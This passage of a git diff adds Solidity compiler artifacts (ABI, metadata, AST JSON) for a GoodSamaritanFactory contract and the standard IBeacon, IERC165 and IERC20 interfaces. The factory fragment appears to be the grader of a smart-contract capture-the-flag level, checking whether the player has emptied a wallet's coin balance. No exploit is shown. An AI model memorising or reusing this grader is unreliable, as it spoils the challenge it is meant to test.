Wallet"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}],"id":53376,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"545:7:88","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":53375,"name":"address","nodeType":"ElementaryTypeName","src":"545:7:88","typeDescriptions":{}}},"id":53380,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"545:26:88","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":53371,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53366,"src":"520:8:88","typeDescriptions":{"typeIdentifier":"t_contract$_GoodSamaritan_$53146","typeString":"contract GoodSamaritan"}},"id":53372,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"529:4:88","memberName":"coin","nodeType":"MemberAccess","referencedDeclaration":53075,"src":"520:13:88","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_contract$_Coin_$53225_$","typeString":"function () view external returns (contract Coin)"}},"id":53373,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"520:15:88","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"id":53374,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"536:8:88","memberName":"balances","nodeType":"MemberAccess","referencedDeclaration":53153,"src":"520:24:88","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":53381,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"520:52:88","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":53382,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"576:1:88","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"520:57:88","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":53361,"id":53384,"nodeType":"Return","src":"513:64:88"}]},"baseFunctions":[55485],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"330:16:88","overrides":{"id":53358,"nodeType":"OverrideSpecifier","overrides":[],"src":"403:8:88"},"parameters":{"id":53357,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53354,"mutability":"mutable","name":"_instance","nameLocation":"363:9:88","nodeType":"VariableDeclaration","scope":53386,"src":"347:25:88","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":53353,"name":"address","nodeType":"ElementaryTypeName","src":"347:15:88","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":53356,"mutability":"mutable","name":"_player","nameLocation":"382:7:88","nodeType":"VariableDeclaration","scope":53386,"src":"374:15:88","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53355,"name":"address","nodeType":"ElementaryTypeName","src":"374:7:88","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"346:44:88"},"returnParameters":{"id":53361,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53360,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53386,"src":"421:4:88","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":53359,"name":"bool","nodeType":"ElementaryTypeName","src":"421:4:88","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"420:6:88"},"scope":53387,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":53332,"name":"Level","nameLocations":["151:5:88"],"nodeType":"IdentifierPath","referencedDeclaration":55486,"src":"151:5:88"},"id":53333,"nodeType":"InheritanceSpecifier","src":"151:5:88"}],"canonicalName":"GoodSamaritanFactory","contractDependencies":[53146],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[53387,55486,46700,48281],"name":"GoodSamaritanFactory","nameLocation":"127:20:88","scope":53388,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":88} \ No newline at end of file diff --git a/contracts/out/IBeacon.sol/IBeacon.json b/contracts/out/IBeacon.sol/IBeacon.json new file mode 100644 index 000000000..2a5dbfe1a --- /dev/null +++ b/contracts/out/IBeacon.sol/IBeacon.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"implementation","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"implementation()":"5c60da1b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"name\":\"implementation\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"details\":\"This is the interface that {BeaconProxy} expects of its beacon.\",\"kind\":\"dev\",\"methods\":{\"implementation()\":{\"details\":\"Must return an address that can be used as a delegate call target. {BeaconProxy} will check that this address is a contract.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":\"IBeacon\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"view","type":"function","name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}]}],"devdoc":{"kind":"dev","methods":{"implementation()":{"details":"Must return an address that can be used as a delegate call target. {BeaconProxy} will check that this address is a contract."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":"IBeacon"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol","id":47128,"exportedSymbols":{"IBeacon":[47127]},"nodeType":"SourceUnit","src":"93:357:28","nodes":[{"id":47119,"nodeType":"PragmaDirective","src":"93:23:28","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":47127,"nodeType":"ContractDefinition","src":"198:251:28","nodes":[{"id":47126,"nodeType":"FunctionDefinition","src":"389:58:28","nodes":[],"documentation":{"id":47121,"nodeType":"StructuredDocumentation","src":"222:162:28","text":" @dev Must return an address that can be used as a delegate call target.\n {BeaconProxy} will check that this address is a contract."},"functionSelector":"5c60da1b","implemented":false,"kind":"function","modifiers":[],"name":"implementation","nameLocation":"398:14:28","parameters":{"id":47122,"nodeType":"ParameterList","parameters":[],"src":"412:2:28"},"returnParameters":{"id":47125,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47124,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":47126,"src":"438:7:28","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47123,"name":"address","nodeType":"ElementaryTypeName","src":"438:7:28","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"437:9:28"},"scope":47127,"stateMutability":"view","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IBeacon","contractDependencies":[],"contractKind":"interface","documentation":{"id":47120,"nodeType":"StructuredDocumentation","src":"118:79:28","text":" @dev This is the interface that {BeaconProxy} expects of its beacon."},"fullyImplemented":false,"linearizedBaseContracts":[47127],"name":"IBeacon","nameLocation":"208:7:28","scope":47128,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":28} \ No newline at end of file diff --git a/contracts/out/IERC165.sol/IERC165.json b/contracts/out/IERC165.sol/IERC165.json new file mode 100644 index 000000000..c7f57d942 --- /dev/null +++ b/contracts/out/IERC165.sol/IERC165.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"supportsInterface","inputs":[{"name":"interfaceID","type":"bytes4","internalType":"bytes4"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"supportsInterface(bytes4)":"01ffc9a7"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"bytes4\",\"name\":\"interfaceID\",\"type\":\"bytes4\"}],\"name\":\"supportsInterface\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"supportsInterface(bytes4)\":{\"details\":\"Interface identification is specified in ERC-165. This function uses less than 30,000 gas.\",\"params\":{\"interfaceID\":\"The interface identifier, as specified in ERC-165\"},\"returns\":{\"_0\":\"`true` if the contract implements `interfaceID` and `interfaceID` is not 0xffffffff, `false` otherwise\"}}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"supportsInterface(bytes4)\":{\"notice\":\"Query if a contract implements an interface\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/interfaces/IERC165.sol\":\"IERC165\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"bytes4","name":"interfaceID","type":"bytes4"}],"stateMutability":"view","type":"function","name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"supportsInterface(bytes4)":{"details":"Interface identification is specified in ERC-165. This function uses less than 30,000 gas.","params":{"interfaceID":"The interface identifier, as specified in ERC-165"},"returns":{"_0":"`true` if the contract implements `interfaceID` and `interfaceID` is not 0xffffffff, `false` otherwise"}}},"version":1},"userdoc":{"kind":"user","methods":{"supportsInterface(bytes4)":{"notice":"Query if a contract implements an interface"}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/interfaces/IERC165.sol":"IERC165"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/interfaces/IERC165.sol","id":31874,"exportedSymbols":{"IERC165":[31873]},"nodeType":"SourceUnit","src":"32:505:16","nodes":[{"id":31864,"nodeType":"PragmaDirective","src":"32:24:16","nodes":[],"literals":["solidity",">=","0.6",".2"]},{"id":31873,"nodeType":"ContractDefinition","src":"58:478:16","nodes":[{"id":31872,"nodeType":"FunctionDefinition","src":"458:76:16","nodes":[],"documentation":{"id":31865,"nodeType":"StructuredDocumentation","src":"82:371:16","text":"@notice Query if a contract implements an interface\n @param interfaceID The interface identifier, as specified in ERC-165\n @dev Interface identification is specified in ERC-165. This function\n uses less than 30,000 gas.\n @return `true` if the contract implements `interfaceID` and\n `interfaceID` is not 0xffffffff, `false` otherwise"},"functionSelector":"01ffc9a7","implemented":false,"kind":"function","modifiers":[],"name":"supportsInterface","nameLocation":"467:17:16","parameters":{"id":31868,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31867,"mutability":"mutable","name":"interfaceID","nameLocation":"492:11:16","nodeType":"VariableDeclaration","scope":31872,"src":"485:18:16","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":31866,"name":"bytes4","nodeType":"ElementaryTypeName","src":"485:6:16","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"src":"484:20:16"},"returnParameters":{"id":31871,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31870,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":31872,"src":"528:4:16","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31869,"name":"bool","nodeType":"ElementaryTypeName","src":"528:4:16","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"527:6:16"},"scope":31873,"stateMutability":"view","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IERC165","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[31873],"name":"IERC165","nameLocation":"68:7:16","scope":31874,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":16} \ No newline at end of file diff --git a/contracts/out/IERC20.sol/IERC20.json b/contracts/out/IERC20.sol/IERC20.json new file mode 100644 index 000000000..c7f8fca04 --- /dev/null +++ b/contracts/out/IERC20.sol/IERC20.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"allowance","inputs":[{"name":"owner","type":"address","internalType":"address"},{"name":"spender","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"approve","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"balanceOf","inputs":[{"name":"account","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"decimals","inputs":[],"outputs":[{"name":"","type":"uint8","internalType":"uint8"}],"stateMutability":"view"},{"type":"function","name":"name","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"symbol","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"totalSupply","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"transfer","inputs":[{"name":"to","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"transferFrom","inputs":[{"name":"from","type":"address","internalType":"address"},{"name":"to","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"event","name":"Approval","inputs":[{"name":"owner","type":"address","indexed":true,"internalType":"address"},{"name":"spender","type":"address","indexed":true,"internalType":"address"},{"name":"value","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"name":"from","type":"address","indexed":true,"internalType":"address"},{"name":"to","type":"address","indexed":true,"internalType":"address"},{"name":"value","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"allowance(address,address)":"dd62ed3e","approve(address,uint256)":"095ea7b3","balanceOf(address)":"70a08231","decimals()":"313ce567","name()":"06fdde03","symbol()":"95d89b41","totalSupply()":"18160ddd","transfer(address,uint256)":"a9059cbb","transferFrom(address,address,uint256)":"23b872dd"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Approval\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"}],\"name\":\"allowance\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"decimals\",\"outputs\":[{\"internalType\":\"uint8\",\"name\":\"\",\"type\":\"uint8\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"name\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"symbol\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalSupply\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"details\":\"Interface of the ERC20 standard as defined in the EIP.This includes the optional name, symbol, and decimals metadata.\",\"events\":{\"Approval(address,address,uint256)\":{\"details\":\"Emitted when the allowance of a `spender` for an `owner` is set, where `value` is the new allowance.\"},\"Transfer(address,address,uint256)\":{\"details\":\"Emitted when `value` tokens are moved from one account (`from`) to another (`to`).\"}},\"kind\":\"dev\",\"methods\":{\"approve(address,uint256)\":{\"details\":\"Be aware of front-running risks: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"allowance(address,address)\":{\"notice\":\"Returns the remaining number of tokens that `spender` is allowed to spend on behalf of `owner`\"},\"approve(address,uint256)\":{\"notice\":\"Sets `amount` as the allowance of `spender` over the caller's tokens.\"},\"balanceOf(address)\":{\"notice\":\"Returns the amount of tokens owned by `account`.\"},\"decimals()\":{\"notice\":\"Returns the decimals places of the token.\"},\"name()\":{\"notice\":\"Returns the name of the token.\"},\"symbol()\":{\"notice\":\"Returns the symbol of the token.\"},\"totalSupply()\":{\"notice\":\"Returns the amount of tokens in existence.\"},\"transfer(address,uint256)\":{\"notice\":\"Moves `amount` tokens from the caller's account to `to`.\"},\"transferFrom(address,address,uint256)\":{\"notice\":\"Moves `amount` tokens from `from` to `to` using the allowance mechanism. `amount` is then deducted from the caller's allowance.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/interfaces/IERC20.sol\":\"IERC20\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"owner","type":"address","indexed":true},{"internalType":"address","name":"spender","type":"address","indexed":true},{"internalType":"uint256","name":"value","type":"uint256","indexed":false}],"type":"event","name":"Approval","anonymous":false},{"inputs":[{"internalType":"address","name":"from","type":"address","indexed":true},{"internalType":"address","name":"to","type":"address","indexed":true},{"internalType":"uint256","name":"value","type":"uint256","indexed":false}],"type":"event","name":"Transfer","anonymous":false},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"stateMutability":"view","type":"function","name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"stateMutability":"view","type":"function","name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"name","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"approve(address,uint256)":{"details":"Be aware of front-running risks: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729"}},"version":1},"userdoc":{"kind":"user","methods":{"allowance(address,address)":{"notice":"Returns the remaining number of tokens that `spender` is allowed to spend on behalf of `owner`"},"approve(address,uint256)":{"notice":"Sets `amount` as the allowance of `spender` over the caller's tokens."},"balanceOf(address)":{"notice":"Returns the amount of tokens owned by `account`."},"decimals()":{"notice":"Returns the decimals places of the token."},"name()":{"notice":"Returns the name of the token."},"symbol()":{"notice":"Returns the symbol of the token."},"totalSupply()":{"notice":"Returns the amount of tokens in existence."},"transfer(address,uint256)":{"notice":"Moves `amount` tokens from the caller's account to `to`."},"transferFrom(address,address,uint256)":{"notice":"Moves `amount` tokens from `from` to `to` using the allowance mechanism. `amount` 